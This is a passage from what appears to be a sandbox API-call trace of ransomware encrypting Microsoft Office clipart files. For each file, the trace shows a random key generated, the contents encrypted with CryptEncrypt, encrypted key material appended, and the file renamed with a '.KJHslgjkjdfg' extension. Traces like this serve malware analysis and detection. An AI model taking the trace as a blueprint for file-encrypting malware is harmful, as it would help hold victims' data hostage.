dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.233] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.233] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x738, lpOverlapped=0x0) returned 1 [0190.233] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x740, dwBufLen=0x740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x740) returned 1 [0190.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.233] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x740, lpOverlapped=0x0) returned 1 [0190.233] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.233] SetEndOfFile (hFile=0x130) returned 1 [0190.236] GetProcessHeap () returned 0x990000 [0190.236] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.236] GetProcessHeap () returned 0x990000 [0190.236] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.kjhslgjkjdfg")) returned 1 [0190.237] CloseHandle (hObject=0x130) returned 1 [0190.237] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0190.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.239] GetProcessHeap () returned 0x990000 [0190.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.239] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0190.241] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.241] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.241] GetProcessHeap () returned 0x990000 [0190.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.241] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.241] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.241] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.242] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.242] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.242] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.242] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.242] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2bb6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2bb6, lpOverlapped=0x0) returned 1 [0190.243] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bc0) returned 1 [0190.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.243] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2bc0, lpOverlapped=0x0) returned 1 [0190.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.244] SetEndOfFile (hFile=0x130) returned 1 [0190.246] GetProcessHeap () returned 0x990000 [0190.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.247] GetProcessHeap () returned 0x990000 [0190.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.kjhslgjkjdfg")) returned 1 [0190.248] CloseHandle (hObject=0x130) returned 1 [0190.248] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0190.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.250] GetProcessHeap () returned 0x990000 [0190.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.250] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.250] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.252] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.252] GetProcessHeap () returned 0x990000 [0190.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.252] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.252] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.252] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.252] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.252] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.252] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.253] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.253] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x764, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x764, lpOverlapped=0x0) returned 1 [0190.253] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x770, dwBufLen=0x770 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x770) returned 1 [0190.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.253] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x770, lpOverlapped=0x0) returned 1 [0190.253] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.253] SetEndOfFile (hFile=0x130) returned 1 [0190.256] GetProcessHeap () returned 0x990000 [0190.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.256] GetProcessHeap () returned 0x990000 [0190.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.kjhslgjkjdfg")) returned 1 [0190.257] CloseHandle (hObject=0x130) returned 1 [0190.257] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0190.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.259] GetProcessHeap () returned 0x990000 [0190.259] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.259] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.259] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.261] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.261] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.261] GetProcessHeap () returned 0x990000 [0190.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.261] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.261] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.261] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.261] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.261] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.262] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.262] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.262] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.262] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.262] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b8, lpOverlapped=0x0) returned 1 [0190.262] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c0) returned 1 [0190.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.262] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c0, lpOverlapped=0x0) returned 1 [0190.262] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.262] SetEndOfFile (hFile=0x130) returned 1 [0190.265] GetProcessHeap () returned 0x990000 [0190.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.265] GetProcessHeap () returned 0x990000 [0190.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.265] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.kjhslgjkjdfg")) returned 1 [0190.266] CloseHandle (hObject=0x130) returned 1 [0190.266] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0190.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.267] GetProcessHeap () returned 0x990000 [0190.267] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.267] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.267] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.269] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.269] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.269] GetProcessHeap () returned 0x990000 [0190.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.269] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.269] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.270] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.270] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.270] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.270] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x788, lpOverlapped=0x0) returned 1 [0190.270] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790, dwBufLen=0x790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790) returned 1 [0190.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x790, lpOverlapped=0x0) returned 1 [0190.271] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.271] SetEndOfFile (hFile=0x130) returned 1 [0190.273] GetProcessHeap () returned 0x990000 [0190.273] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: 